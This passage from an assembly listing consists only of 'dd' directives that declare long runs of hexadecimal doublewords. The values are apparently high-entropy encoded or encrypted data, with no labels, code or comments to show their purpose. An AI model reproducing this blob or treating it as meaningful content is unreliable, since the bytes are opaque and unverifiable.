60144252h, 27301069h dd 50C83703h, 0F2FCE9C6h, 8CBE54BDh, 0E285DBDCh, 3021FA3Fh dd 4B06CA61h, 6EE16971h, 7CE03C74h, 0B51C2C3Ch, 5B869E65h dd 5FF25CE4h, 3EC5E1D2h, 93E5C6B9h, 0AA80A9C8h, 565A4E4Ch dd 77D9A7E5h, 0E54EA83Bh, 13C1CDE0h, 0F96B146Ah, 5A961800h dd 27309E0Ch, 0F2F24645h, 0C6FFCC00h, 0E9DF0135h, 2D4BAD6h dd 0C158C709h, 0ABC108EFh, 405AA579h, 75196DACh, 0B7681E52h dd 9E826934h, 0EAC1CC02h, 0F1522B34h, 7D6370F1h, 0C843EDDFh dd 9D583515h, 18170363h dd 8E058F66h, 0D4BD2636h, 5EDEA893h, 681E38FEh, 363A762Fh dd 3B913063h, 67F9F57Bh, 0ED7FBF28h, 0BD5D8640h, 981B24Ah dd 0D49C6579h, 0F909C981h, 5D418F23h, 7582A62Eh, 81402D59h dd 0AC81CE22h, 70B2C160h, 0F8D04145h, 0B8998BF5h, 7BD912BCh dd 0AFF4B8A8h, 624ACE3h, 96AD9D0Ah, 0B5FEC10Ah, 80D02FDBh dd 0BB15150h, 59CC8891h, 0E810484h, 0FFC4C61Dh, 0E00D4E12h dd 2EE97A5Dh, 68550409h, 0BDBB1D3Dh, 0F482CCF1h, 60779B31h dd 0F4563D38h, 3FE6EC15h, 92518C0h, 41176BF8h, 67133680h dd 0E532608h, 0CEAFA29h, 885285D6h, 39B0C7E2h, 596BA75Eh dd 0C1904B9Ch, 2CD22D65h, 5FF8CABFh, 483D73AAh, 2C32D4Ch dd 8C05FAE1h, 0FF41D817h, 4C3A97CCh, 0E320837Ch, 17B86813h dd 0D02062D9h, 7F7D04B7h, 0FAEDD11Ah, 0C4F5C540h, 974FEFB6h dd 0CC2CB35Ah, 5960762Ch, 0FF877C88h, 0E634EE65h, 0EB2880C2h dd 6630592Dh, 735A26ADh, 42689D8Fh, 594C404Bh, 0BEC1E5D0h dd 7C62351Ah, 0AEE3BA81h, 2E89E4EFh, 0DE848AB2h, 0C487F865h dd 0E2145572h, 419AEF03h, 0D5E1209Dh, 8E802845h, 8DFA7783h dd 87743D95h, 656B6E68h, 0F7018B53h, 5F9F5FEEh, 682DA61Ch dd 0F7498B36h, 0E905D0E5h, 0F3AD9381h, 0C35F3869h, 53C8E978h dd 0DA034B7Ah, 47569C92h, 0EE24A7ACh, 43B5FC3Dh, 6062C77h dd 0E2B61617h, 6850240Dh, 0BEC0CD16h, 39802EB7h, 0C7BECFF7h dd 4A0BFEB2h, 0B8C941FDh, 0B55CAC24h, 17088CCDh, 3983278h dd 0D625F3DCh, 3DFD1F8Ch, 1405C01Ah, 790AC97Dh, 0FBA8847Eh dd 83000A94h, 324B444Fh, 0BCDF9559h, 0DDC4253Bh, 0F49BC65Dh dd 0AFB95A93h, 0F4947627h, 0AA8913BFh, 0D24EDE9Bh, 9D4206CCh dd 0D84B8C02h, 79A76455h, 0A81C4A80h, 26AA4E15h, 0B40AB516h dd 0DD26F83Fh, 7FE0E842h, 0EA68C1B8h, 1A310D5Bh, 0F67B6F43h dd 1F0F174Eh, 68E015E8h, 7ABB5694h, 0EC50E17h, 7EC5E7EAh dd 83AAE6E8h, 9F6A70F6h, 9398BE21h, 9664686Dh, 18C38B23h dd 44A243CEh, 9DBD9CFFh, 5DEF55B0h, 6246D197h, 7A515A19h dd 363088h, 4A82A0BDh, 0EA038123h, 785309D4h, 6857B029h dd 4C6F031Fh, 61E95F6Dh, 7341F29Ch, 6853C200h, 70440566h dd 92D9BF8Bh, 0F4180453h, 0FB775270h, 81635D4h, 1BE3E665h dd 30ADB95Fh, 4DF93E02h, 5C485C3Bh, 0C404B006h, 6A070C37h dd 0E96F0E7Ah, 0CAB86484h, 55A04193h, 0FD269783h, 5AF1745Dh dd 9AB42D06h, 722466Eh, 20EA427Ah, 66886901h, 12F52508h dd 6FDBFDFEh, 69ABB234h, 7FA33E05h, 0E8289A14h, 8577878Bh dd 0BF416558h, 388D69E5h, 17BC2670h, 72BE7Dh, 82501FBDh dd 0F509097Eh, 0FFA760E9h, 6681B90h, 76BD5D70h, 0E872703Bh dd 81D14382h, 0C1004720h, 1B2E092Ch, 0F800A86Ah, 1DAB279h dd 315B13D9h, 264C09CEh, 0D9E4BBF5h, 0DD22FDC7h, 4C5DC5C3h dd 0B1E979C0h, 3AF66155h, 88451881h, 0CB535802h, 1C66F508h dd 61644Fh, 26444E03h, 7B17DC05h, 0A58341E0h, 6802CC1Ch dd 0B74C19B2h, 2DCA6920h, 0A1702959h, 0CAB0062Eh, 5FFB5209h dd 0F20673E4h, 140A55Ah, 0A444F811h, 208E980Ch, 0C03E2166h dd 0D3F683E3h, 854FF380h, 9555828Ch, 1853C5DEh, 8D6E273Eh dd 8031CBFEh, 9019FCEBh, 0C758974Ah, 873EAC00h, 85F6E921h dd 0CE4A3CBAh, 5C019928h, 490456FEh, 0EF3ADA67h, 0E9E07BBCh dd 16BFECB3h, 0C9B7F40Ah, 777E783h, 0F7603B67h, 0B051419Fh dd 0EAED05DCh, 0BB796367h, 8C5600Ah, 0B4055F17h, 27EE1BD5h dd 948082FBh, 0CEC0646Ah, 0F09D88F8h, 22E869B5h, 62D280F4h dd 9CB253Fh, 0E25AC0BEh, 9F4E190Ah, 0B0514BCh, 0AA641F08h dd 0E1BA77D5h, 17DB6DCEh, 81452F21h, 20D82097h, 41B84B01h dd 0A01B40D5h, 0B0CCA54Dh, 246C509h, 0E9B4400Eh, 5404BAC9h dd 3F902385h, 4A016852h, 2E03CF3Eh, 2B12905Ah, 0FF4B70BCh dd 43133C8Eh, 56DCAB20h, 3B68CB5Eh, 0C71430C6h, 79B1AF23h dd 81A55958h, 3EA1686h, 0FDF7030h, 290FE260h, 80A1C9Ah dd 0B8C10EAh, 8466BA5Fh, 10FB92B1h, 5704A586h, 0E1625052h dd 3B33DD19h, 63285247h, 0DF65FD0Bh, 0CA92BFBFh, 4F36C28Ch dd 0F4FEFCB3h, 0CBB2E2FEh, 50ED575Bh, 5813DDA5h, 54F04202h dd 12316E2Dh, 5824BC66h, 0DBBBA974h, 5CE80CECh, 68CA8007h dd 0EA53DAF6h, 0B5101DFEh, 0B2045752h, 0EE51CF3Ch, 62FA12D8h dd 0E2D728A1h, 0F5626A38h, 0F3FC5F9Ah, 79789303h, 3FF00401h dd 0B9491F58h, 0A0084181h, 0D3B8141Ch, 2304CA7Ch, 9DD0E93Ch dd 4E079FF9h, 0B2A54989h, 364A6EDCh, 0D126CBF7h, 79A86518h dd 528F1270h, 0EF990008h, 6AE64D0Eh, 5595E912h, 9C7ECDCCh dd 25A821A1h, 290769DFh, 0C9815680h, 26BF6EA6h, 4CE1C12Ch dd 564CC009h, 16986F10h, 0D1817FA7h, 9B44224h, 1E4B718h dd 0E9CFBFE0h, 9105E05Ah, 0A265CA29h, 55E97498h, 0A37EE893h dd 81AB4A29h, 10D504B0h, 5426E955h, 3F38E82h, 23E22A92h dd 0BFEBE3D1h, 0D3F74500h, 63AF2593h, 0BA6C4BA1h, 0A3FAAC1h dd 0F02BB225h, 650092FDh, 0F6817E2Ch, 0A0C60F5Eh, 598CE9Dh dd 0E9448C08h, 0FEC4AA1Eh, 59AA71ABh, 2D886ADBh, 4C202571h dd 7887AA80h, 82B81AECh, 2BF3B94Ah, 89DDEF93h, 7038FB2Ah dd 13254FE9h, 922E826h, 0B06B9568h, 2E46AC14h, 46D2ED6h dd 0F02348ADh, 4A120744h, 0F901DAF7h, 0BB156BB2h, 0CC93A57Ah dd 67125105h, 468C45C3h, 9462768h, 35E482C9h, 95C06AE4h dd 0BF44DB74h, 694F5674h, 121F5FBh, 0D2618968h, 5BC0DE4Ah dd 909D26A4h, 0CBA52EAh, 293850EFh, 0AF1F15AAh, 0D7D8D6C7h dd 0F3E9FE92h, 0BF01802Ch, 2838A3EDh, 0EF5FF131h, 6F015E91h dd 4712D8A9h, 0DE5EA843h, 0FC27845Fh, 0B3BF70EDh, 31E4FE7Eh dd 0D701A1A0h, 17FE53BDh, 6D1E0950h, 0B0808971h, 0E90B7926h dd 3643FF73h, 95BAC14Eh, 1C1F0845h, 71E26A85h, 691465C2h dd 0C16FFA35h, 7FF29FF1h, 7D693BCFh, 1F3384CCh, 0BBD05DEDh dd 0DAF9C45Eh, 0ECF7A55Bh, 449F308Bh, 94FAA061h, 42780532h dd 0E50FA868h, 90402E5Bh, 0B59F84C5h, 0EE012EC4h, 0C18B3164h dd 5B8A20E3h, 0C12B3F6Fh, 0D1B901E7h, 0AAAD127Fh, 40D81F80h dd 5E2531C5h, 624C80h, 1E03EFC0h, 0D2ADC780h, 0BBD9C5E1h dd 5A68312Ch, 1682EDC2h, 38AF0771h, 0B57FE940h, 0E7826BB6h dd 0FF595D57h, 0E2D1EDE0h, 0B60F6490h, 786D5F2Bh, 0B351399h dd 8D94E91Dh, 5E975768h, 0C170F51Dh, 830B68AEh, 0C665C985h dd 585EF1CBh, 0C9428EF0h, 28492D18h, 0D3F02A5Fh, 68720E0Dh dd 15A170EFh, 2B387A64h, 2FF9CF0h, 0E9C1017Dh, 0E5456831h dd 5780251Fh, 35403E84h, 5B7E1DFBh, 0E805817Dh, 0EC7BD954h dd 0AE304827h, 0AF7AB820h, 0C30116FEh, 0D90E2058h, 635BB54Ch dd 7A8537ECh, 6F3CEBF8h, 0E4114ABBh, 2E4B7E66h, 8CAA99ABh dd 0AB69D418h, 0D5304EEh, 0AB011297h, 1208F610h, 2DFB575Bh dd 14E37AE3h, 0BD733ED5h, 5C97051h, 28AB0CD1h, 7441D7E4h dd 0A984273Ch, 0DF210B93h, 4F826121h, 755CC261h, 0A4C9551Ah dd 20EE0C88h, 0D352C2B3h, 0DB48777Dh, 40C30E18h, 0C30A52B2h dd 8282EC22h, 8576F874h, 0A7BD468Eh, 0CE5453C5h, 0B5512974h dd 87056865h, 8E8011B2h, 3EDFA2EEh, 9616DA56h, 0EF66BB55h dd 7AD0EC6h, 0F1C03C08h, 73634C43h, 0EF9EE924h, 0D35E3FA8h dd 0D7EA4AD0h, 343B176Ch dd 141BF359h, 11C35Dh, 75D3668Dh, 2E2BB53h, 6818EF45h dd 0A051550Fh, 2FE00788h, 5982CFDCh, 89634B72h, 843EDFB8h dd 0E498E93Fh, 1AED203Eh, 0C5F24F7Ah, 41B88348h, 0B536EF9Ch dd 0EB10D2EEh, 88B80642h, 630F83D1h, 0F6BA8422h, 4B548C1h dd 6EFD708Ah, 40F27AC8h, 5EC5260h, 31E115BAh, 255AA640h dd 0D93FB10Dh, 5EF9AA20h, 8B1BE24Ah, 0A245D050h, 416F5D5Ch dd 0DD0918A8h, 31AED1Eh, 8A63387Ch, 5702F715h, 675F9017h dd 0D64A1F59h, 5D1EB072h, 99D6EAECh, 261970FEh, 36488D02h dd 8AE63806h, 0C93AAB49h, 505C3D00h, 0B4FAE90Ah, 9BD02524h dd 598D2F27h, 26532BCBh, 25411040h, 81D3562Dh, 480BA105h dd 7C70D602h, 10873857h, 58251266h, 97DDC455h, 0D0E8BFFAh dd 0D274E895h, 4C561D4Dh, 828CA801h, 36B62208h, 0BC964C6h dd 766062Dh, 76C509FFh, 0F4294542h, 0EA900597h, 0E697D94Ah dd 986FFAABh, 40D298DEh, 801C5AE3h, 752FFAC3h, 0FB2F8925h dd 9C828637h, 69BC7D50h, 30ABE90Eh, 209837FFh, 14B6012Dh dd 0E8012E18h, 50074705h, 31F94B4Ah, 0DD25DEA0h, 16BC4699h dd 4CD95018h, 0BB72BB2Bh, 25565E26h, 13041A0h, 80BF3BBFh dd 0DE6CD84Ah, 7CDFC31h, 37E760CCh, 0C1001B4Dh, 3BF9456h dd 5D25EBFEh, 1FCBF75Ah, 528FEA5h, 71119855h, 0C2B38074h dd 287FB60Fh, 0A9EB6BDEh, 0B9305FFFh, 0FC5BB551h, 0E12D3CEDh dd 2EA65A0h, 435A2233h, 0E912528Ah, 6899F182h, 3CB1B147h dd 55565700h, 149D683Ch, 1A9E184Eh, 738131Ch, 5194EFECh dd 14901080h, 0C2555835h, 0FA6B0B71h, 6ED6420Dh, 28DFC281h dd 4A290AF7h, 0C5A9DD04h, 45FCFACDh, 0FE49713Ch, 0F604F00Fh dd 0FACADC25h, 41EDE52h, 0F2524990h, 84E64F79h, 53F2AA2Fh dd 0EEE1EC4h, 4737C459h, 0AFBF25BBh, 984F14B7h, 3D2568A7h dd 2FDE7343h, 0FC36012Fh, 6FFF101Eh, 0FF144E78h, 23D2A527h dd 0F7C0A0ECh, 4A3D1F21h, 64DF18ACh, 0D63E32E9h, 126AD867h dd 9ABFA666h, 0B2E49EEh, 0F46127E9h, 0A6DB6BA2h, 75B05CE4h dd 0E878DC29h, 0AAC206BAh, 0C01F4136h, 220BBD35h, 9654E816h dd 64BA0618h, 20C39D3h, 56F56928h, 0D182D629h, 0A3C5190Bh dd 5EBA6805h, 19CE32ABh, 7425DCD4h, 0B0C05E5Fh, 40146857h dd 5F792FBAh, 129A9CE5h, 4DC9801Fh, 0C1572973h, 0FF06010Ch dd 26506B3Dh, 140C6808h, 24CFE905h, 0D6278ABAh, 0A29996BBh dd 0E0D15E14h, 0F0E2A347h, 4809686Ch, 0B90280E8h, 672B76E6h dd 6E197457h, 204B06DEh, 99380C18h, 22B57672h, 0A91D273h dd 527D13AAh, 9A111C9Bh, 99C108DDh, 0DEE10472h, 21076883h dd 0E5F11BBFh, 0B11CA962h, 4F7E201h, 8F282920h, 0AD2B200h dd 1D47E921h, 57C1CA9Dh, 0F73BCC61h, 6221BBDCh, 0F141D430h dd 5006211h, 0F3D3AE4h, 55B97493h, 1BEAC501h, 16ED1C49h dd 800FCF6Ch, 9C1EE0F4h, 32572503h, 0C2797E7Eh, 0BB209E5h dd 0E848EC84h, 0E1645FC0h, 0FAF798BFh, 4355340h, 1036449Ah dd 0CAC3D050h, 5D4F8A57h, 705E5E1h, 97E5A2BEh, 823C6BE0h dd 0E4F202FFh, 0E500B4Bh, 0EC96931h, 0F8C1572Ch, 0F8F4AB30h dd 5C865985h, 0B7D4315Bh, 0E4CC2E2Eh, 0EF1C3DFEh, 0D45B292Dh dd 8820C20h, 5A2BC97Fh, 0FF8C843Ah, 6B943994h, 2C3846BFh dd 48765E27h, 0B5067535h, 927C17A2h, 76A4C018h, 0D5F6CDFEh dd 86ED801Fh, 0F173ACC9h, 0E95C50D7h, 2FC11A4Ah, 0F540FABDh dd 1F58121h, 7FB3788Ah, 2B68B2E9h, 36C951FCh, 0DC282DC0h dd 92BE09EEh, 0DD77322Fh, 41A00404h, 0CC1643EEh, 4A3F68D4h dd 69ADF31Bh, 2105F56h, 59806FECh, 83E35888h, 0BC699A16h dd 32EDC1AAh, 902A7A52h, 95203DCBh, 8368030Bh, 98A21B67h dd 0AB88E9F8h, 1587A993h, 0CE404B7Fh, 1A404758h, 0A916BD21h dd 0AC985EBFh, 9CD52705h, 6A5095B4h, 0CD429309h, 41AE0009h dd 6619D265h, 6034248h, 3D250504h, 46C1F937h, 0CA6F7FDDh dd 20BB106Dh, 73B1EC4Ah, 77743480h, 4E069C84h, 0D8252AE8h dd 38426904h, 33686D21h, 34804D5Fh, 249D5714h, 0EDACA29Ah dd 82C6A64Eh, 5DA23DE9h, 5A254A4Ch, 2083987Ah, 8BCBB92Bh dd 60775352h, 12E37A5Eh, 0FC29E977h, 0E5BC5EB5h, 582F54ECh dd 0EBC6F305h, 16B788A2h, 40C91AD5h, 4231B8Bh, 2C2D6621h dd 6EC1EF14h, 5D004915h, 353C8905h, 653EE4D2h, 82EB8005h dd 0E377B498h, 2DE3A7ADh, 0BB1C0241h, 0D4FD0A48h, 0CFFA69FDh dd 0C6C502E7h, 38303F60h, 82D6787Fh, 587B7408h, 9B2F1F56h dd 0AA0C4343h, 0CF52D1E4h, 0A8B112D6h, 6AEB8364h, 0BBE956Ch dd 0BD61EEB8h, 6FF42B09h, 0D2561F60h, 227CA746h, 3AB45C97h dd 9254967h, 4735AD15h, 0C47B4A7Dh, 7AB8EA77h, 8F3ED21Dh dd 5829C709h, 250F8ADEh, 81BAD779h, 892B6BECh, 3178687Ah dd 4B30542Fh, 808231h, 73014E65h, 4B260B5h, 47160139h dd 4A06BE56h, 2B7CF246h, 0D5A81D0Bh, 0DAD904B1h, 0C80B570Bh dd 6831815Fh, 5D516EEAh, 0BC6E5351h, 5DE9A86Eh, 0A15B4650h dd 0B4E76C15h, 76F590BBh, 527EBCDDh, 17E5F203h, 0E6C17277h dd 6BD2C1B0h, 0EB51FA6Eh, 64A07FBh, 4D7740EEh, 0E956DED8h dd 904B9E4Bh, 38618355h, 2CDC2083h, 819994FEh, 333DA04h dd 841BDF2h, 0DF07F83Ah, 7AD5F357h, 4013480Ch, 81C958FEh dd 0BA0E3530h, 2B243B10h, 1903AF7Eh, 62E1240h, 8E2AF6C8h dd 0BF011825h, 0E9AF9A0Dh, 14747054h, 690A4CE8h, 7D1A6809h dd 3922B766h, 9C0C4E0Bh, 4FB5596Ah, 972C2828h, 688538FFh dd 0A67F4A97h, 0B149435h, 8967500Dh, 624885Eh, 38C6C500h dd 1529247Eh, 8BA52CDh, 9FE9D50Bh, 0BFC23A9h, 2A685C70h dd 903D7264h, 0F71F4F05h, 0B277B25h, 2EFBE886h, 8D18BD0Dh dd 0BD036A7Ch, 0EFC15F54h, 75860503h, 0F860DB76h, 892592h dd 6D19CAE8h, 5EE9E47Fh, 80420263h, 8AE1F7C2h, 486D8B58h dd 9D30FD12h, 4BB5051Eh, 998C88F3h, 0A3C2B7D6h, 622BF17Fh dd 88C0C521h, 0C1A85649h, 2512D9CFh, 0DC00692Dh, 0FDA11A17h dd 0E2FB5E09h, 0A8B9C05Eh, 0C05D53Ah, 5659CB21h, 0A18667Ah dd 44204618h, 253EE208h, 7E0C183h, 773030ABh, 49C60C31h dd 0B2435C60h, 981EF203h, 48B2E933h, 0EF9C27F4h, 4B066C06h dd 53E60C90h, 965A30C6h, 3B0E1516h, 6C079001h, 0B26E652Ah dd 110D0778h, 35F0D65Fh, 0BA57BABh, 58C1312Eh, 0D0EC2057h dd 40B7C5A6h, 0F85A2901h, 0E43E75EBh, 0C2D0D87h, 0BB01FD32h dd 2D465768h, 478D8FE4h, 0F1E039E0h, 5A51AEB1h, 7ABD1CE9h dd 0BF117396h, 122F1B99h, 0D4E4ABF2h, 253B4B12h, 0BE7B64AEh dd 0A15ADB88h, 0CE2A90FBh, 0F2A64F6Eh, 0C2C22B25h, 2D7495F5h dd 124927C4h, 439E38E5h, 23E95505h, 2FF3F9A6h, 0E2A5D612h dd 515F4728h, 41A03C4Ah, 89045D4Ah, 0E8133658h, 63570633h dd 20C3567h, 93B15EEh, 296AEDE9h, 0DC55DC62h, 0D0D77A4Ah dd 0E7397EFh, 88B456E4h, 40675DBAh, 341D7AC4h, 4E69B3EEh dd 44E898AFh, 4BF15E9Dh, 18A4B7A0h, 8A063FEh, 92134371h dd 8DEA0178h, 570C0187h, 0AF1A45BFh, 0E908BF02h, 0A548FEDBh dd 0B9AE7605h, 6EAA00D6h, 0ED813C91h, 5D0214D4h, 572DFD28h dd 153F19D5h, 4AFEEAh, 41FE0D02h, 83922A0Bh, 50416C0h dd 5A5D38DCh, 0E9A902B8h, 1552438Bh, 0DF27A90Fh, 87164D8h dd 1391E8A4h, 0A81B69F3h dd 0D4F85BCDh, 68829095h, 0B4F77040h, 0AA53B7A4h, 0A3810E12h dd 0A938015Eh, 5A84A94Eh, 0AFD266F2h, 0CDC62BB6h, 0C709C10Fh dd 55D00892h, 3F9A45C9h, 1931C384h, 3503530Fh, 87AAB4D8h dd 570589BFh, 50428A59h, 0FE5712B8h, 39D40834h, 1406752Fh dd 574E838Ch, 83EA1613h, 40F15BB4h, 9E1E6851h, 71BA6844h dd 6AC1D9BEh, 31841BE6h, 0AA5C88D2h, 99EB254Ah, 0E457CA87h dd 874964BDh, 60BDAF5Bh, 0D045DC17h, 1F0462CBh, 5F56C41Fh dd 9E3EAA49h, 311EC91Bh, 0C15668A4h, 8061885Ch, 78F7F347h dd 5C311364h, 9D2017DFh, 8DE68828h, 0C905FD5Fh, 95C2E480h dd 3F2DD6C7h, 8E84954Ch, 0C49BE863h, 481631C9h, 5015D74h dd 47A8ED80h, 6F3475E9h, 618B00BAh, 0D5BD1B8Eh, 365AE7A3h dd 222064B1h, 7B050BE5h, 20550FC4h, 513AF5F9h, 0AD675E3Dh dd 0E2CA2707h, 6CFBFFDBh, 0CDA812BFh, 79942221h, 0E7D811C1h dd 634B162Eh, 0B90EB72h, 5E2B1DBFh, 0AFE3041Ch, 0B29BAA43h dd 432EE909h, 0D9AFE153h, 0B0FF72A4h, 0C450D9CCh, 0BFDC1853h dd 14929EB6h, 4F166D18h, 17E4AC57h, 0B3F8EF0Dh, 300330CBh dd 7100157Ch, 96F681FEh, 1249A00Eh, 0E5EF189h, 302650D8h dd 281F1E39h, 0CF0D941h, 0BFA2F6Dh, 0CF25E90Fh, 13A8CEFFh dd 0AE4E3B68h, 0CE52BC3Dh, 865C7557h, 9B6D4C9h, 7B98DD0Ch dd 774B8411h, 253B4CBCh, 48B94909h, 0B6DE284h, 8F095D68h dd 0C1D3F955h, 2AD0E953h, 26B2E800h, 90A9F280h, 6AC59A2Bh dd 0C73395Ch, 0FE14A4B5h, 0EBD0C318h, 12F38008h, 4DE282Fh dd 51118DDh, 4E9656E9h, 7CB809C0h, 9D723BDh, 16B1F9AFh dd 2CC0BE2Dh, 740BB505h, 3DF8EBA0h, 14C0A06h, 28072DE8h dd 8912824Ah, 0E6A991B8h, 597897DDh, 0D209B4Ch, 101BBB04h dd 0EDBF2230h, 7DDB03E0h, 0CD314E75h, 0F380E4F9h, 59070F5Ch dd 0AC27D6BFh, 6ADA00CBh, 0EA817D97h, 9B19EE04h, 0E1BF054Ch dd 63E642F7h, 259314DFh, 0C475F9F6h, 467E23C9h, 52B1194Eh dd 2C2C62D9h, 6892BD03h, 0BBD13FE5h, 21D1807Dh, 811F764Fh dd 6D5009C3h, 417E3B82h, 75AEC22Dh, 982D46DBh, 805631C0h dd 284AB1B0h, 72D9600Bh, 2DD82790h, 1FA3A7DEh, 0AE68558Fh dd 0F0677F0Eh, 5A582569h, 880B87Eh, 964B6418h, 11139750h dd 56580B17h, 5E2FAACAh, 0EEC028DCh, 9829BFDBh, 811C55C6h dd 75C3B1EFh, 0F1D815E1h, 0FB891E80h, 194CCD6Dh, 1FEB1422h dd 0EC257E86h, 63208A7Ah, 789CC136h, 851E253Bh, 0A3308264h dd 0BD7A00BAh, 0E9C89B8Bh, 6105DE2Ch, 0FBE8754Bh, 23281FEAh dd 209793BAh, 347124E4h, 0A92C265Dh, 8DB41FBDh, 0E28D3BCFh dd 2A5A4A40h, 0F4476CBDh, 0EA7E5472h, 0A07C0443h, 0AA6C3101h dd 0FDB50BFCh, 1AF6CAD5h, 3BD51B34h, 2730BDE0h, 0B7F966D0h dd 0B00958A8h, 0C858A643h, 25BC4CAEh, 6881A759h, 22D767E9h dd 42E40C6Eh, 0F6E2687Ch, 60780937h, 485FD2F7h, 49189FF0h dd 6C0A7F79h, 0E92547h, 52B6DEBEh, 7B26E94Ch, 1A89321Eh dd 0F214E63Dh, 0DD2E13EAh, 347C4152h, 410F8D33h, 0FCFA5AEDh dd 0CB6789FEh, 47A1F31Eh, 0E3FC41A8h, 1C611EEDh, 9EE8946Bh dd 5935D881h, 85D44032h, 370FF16Dh, 17E9C509h, 9D5A94A0h dd 0D2744DD0h, 31950DF0h, 32FCFB0h, 81CA87DDh, 964FB090h dd 0F2051276h, 0DBB1847Ch, 431F4BEh, 0D1947D16h, 5DBC9E57h dd 30E883B1h, 134ED037h, 4D761E41h, 97405F1Ch, 60BB4BCEh dd 62BC4E43h, 0CAA92A14h, 69B8FBE2h, 0F25E8729h, 8011BAFh dd 73561026h, 7A8D9B01h, 0E9FC89C7h, 0CD62BF34h, 6B725357h dd 1CE0175h, 0D72C02CFh, 3395F103h, 10686721h, 0CD849F04h dd 0ECB19A11h, 7EC3E13Fh, 169678A2h, 573080F6h, 0E2B6F789h dd 85844F17h, 59CF1E01h, 0B141EF83h, 81010ACEh, 0C23AE4EDh dd 0C5783EB8h, 0E90841E5h, 0B27A642Fh, 10FC104Ah, 3D58DD58h dd 50C0563Ah, 0A2B7531Eh, 0DFC03749h, 54B7F0E4h, 0F18001C7h dd 0E8CB28E0h, 14C0104Ah, 56213EBEh, 5E61F46Fh, 0B8D38C31h dd 5140CF0Fh, 31C4924Bh, 5BC02382h, 1C740970h, 0F4823CE6h dd 0BCE39E48h, 802AAA83h, 7F55F572h, 0A64D5DF6h, 0C45A6258h dd 1DA8BA64h, 0AF6E84E4h, 0A297D6FCh, 0CCAD4E38h, 4FE6BBD3h dd 0E0F8E909h, 29A23CFAh, 4E6B7A7Fh, 0FD3112DFh, 12890284h dd 8B567AAFh, 2D872584h, 0D62AE1AEh, 973470D7h, 58028A71h dd 54464168h, 521161AAh, 923F60C7h, 0DD30D151h, 4CB47CD2h dd 4A5E756Ah, 0C52E22C9h, 2C2CFE99h, 220C6B15h, 55600051h dd 970F9BE9h, 0AA85259Bh, 0F797DE30h, 132DE6DFh, 4B217A9h dd 0E828291Fh, 26FBC1AEh, 629D57BCh, 4A0B0934h, 9E0295F8h dd 1316D16h, 0E807F5F1h, 0F773A171h, 0F2AC6ADEh, 0FEB50192h dd 923D5CCEh, 79A35E2Ch, 0E9CF8904h, 4A93B035h, 90F120E3h dd 36430C13h, 88CD0BFh, 9A4B507Fh, 0E96221EAh, 0F739999Dh dd 0E3E2B0AFh, 6989EA4Bh, 0A82F5A9Eh, 0B1F94EADh, 0AE965F85h dd 0E3D405D8h, 819B33B5h, 5C54DDDh, 40526CB0h, 11B05D9Ah dd 84BD1FEh, 1758D7E2h, 0DE7C0C25h, 0EB74246Fh, 636BB2D0h dd 0C02EE349h, 42272DD2h, 0AC124F26h, 593207A0h, 41031001h dd 0B4313B68h, 5E2AFF2Fh, 0F712AF5Bh, 914CFBAh, 68AFF9E9h dd 250DF33Fh, 88760633h, 0C5BFC3Ch, 0EC40A8CBh, 494A027Ch dd 1B98686Ah, 7A6038D4h, 950AE867h, 0AE0B85F2h, 50552974h dd 0EB19A067h, 6CD3092Dh, 403EED1h, 33B0ADF0h, 0B095F709h dd 9CD3237Ch, 0AE156F69h, 2E2B0750h, 831E9625h, 549D3264h dd 9E6A0C00h, 89512376h, 409FD1h, 0DF952784h, 0EB607A12h dd 6880CD70h, 0C65D499Ch, 577EE681h, 0F14AF74Eh, 0BB5A9CADh dd 2829010Dh, 4E95852Fh, 1DE7EA8Bh, 6CF50955h, 2F527DDFh dd 0B5FA1AFCh, 7E2FA4B6h, 3DA7AC07h, 1CE2AE03h, 4810012Dh dd 52162F49h, 4D450A5Dh, 4468894Eh, 0B83A18DFh, 7F7400EBh dd 29833540h, 8F9F79F7h, 0EC2D20E3h, 3E369247h, 0D84AE948h dd 0F179F765h, 0E6700B27h, 469B31A9h, 7A04E2ABh, 6F20978Dh dd 147ABFBDh, 1E7012ECh, 0C970D4B5h, 27AD595Dh, 0EE08EE5Bh dd 6846021Fh, 0B671374Bh, 5CEB988h, 8820E280h, 0E34F033Eh dd 0C800A4h, 2D633D5Eh, 0A25E230h, 37B45A9Dh, 6527CBCEh dd 0E69D5604h, 26C30247h, 0D405C676h, 0AA08A033h, 35D10236h dd 0ACDFB61h, 92FD4F55h, 6A88EE6Ch, 0F899D57h, 0F5725EDEh dd 0A120E5ECh, 6024BF28h, 78CFB17Dh, 6CE5BE8h, 65A60896h dd 77EEB800h, 49317FD4h, 0D92432C3h, 848D9372h, 2DF3BF1Eh dd 0BBC1F4C4h, 53C920ACh, 6DDF5262h, 18FF2704h, 9784A4A3h dd 0C2A6907Fh, 1656BF58h, 8772B562h, 1CBE192Fh, 794752Dh dd 3B209692h, 1EF6B706h, 0C5EBC617h, 68938105h, 0E75E41B6h dd 9613780Fh, 4A9BD01h, 0FD413035h, 0D93AAE06h, 60747127h dd 6880DD12h, 0A6254FE4h, 0FDECD3FEh, 0EDF8B7A2h, 0B4BB3507h dd 8BDB80EFh, 200A7AC3h, 0E898D4E6h, 76372B25h, 3FF3E206h dd 7F565A02h, 0FEA08FE4h, 9D0FE581h, 0AC65F05Fh, 5268BF2Ch dd 2D782384h, 77E67118h, 0A13C37E2h, 0E9D70903h, 3049D5D8h dd 0DD03A7FFh, 0C1E1180Fh, 85378F69h, 660E1B0Ch, 3F7EA404h dd 8693A3BBh, 4845BB85h, 2A35F7C2h, 0DFC7FE0Fh, 0C978A3A0h dd 90CC152h, 0A5BA72F8h, 0A520C58Ah, 0EF0119F4h, 1D8D187Dh dd 2D44CFFCh, 0ABD8094Dh dd 60313F0Bh, 8582DFC6h, 6801E00Ch, 49365127h, 89256517h dd 68C5E126h, 0F128250Fh, 0EEFE1F61h, 0E4D54978h, 0ACCB7EAh dd 0C8975EEAh, 0E7DD6C4h, 50B84FA2h, 0AA259564h, 844D2C7h dd 5914E617h, 26628611h, 48CE066Dh, 781FAF0Ch, 8FABF417h dd 12DB5B04h, 19D8BA00h, 0C1281D0Fh, 0E20087EAh, 364D2BC7h dd 455DAF7h, 0D02AEBBDh, 0FB45836Eh, 42B40AB9h, 4C2437C4h dd 3BC7A6E8h, 0C1691458h, 5F17859h, 0E51D05FEh, 50D3B244h dd 0DD824388h, 20C1EE43h, 0A88D3452h, 4A627E17h, 0DFA14312h dd 50F2B72Bh, 761323AEh, 97BA413Dh, 646C5453h, 0A2A41117h dd 208D985Fh, 284A0180h, 0C21091E8h, 782C4979h, 2035392Fh dd 0FD20059Eh, 0A3F8B532h, 0E413294Eh, 0B242A999h, 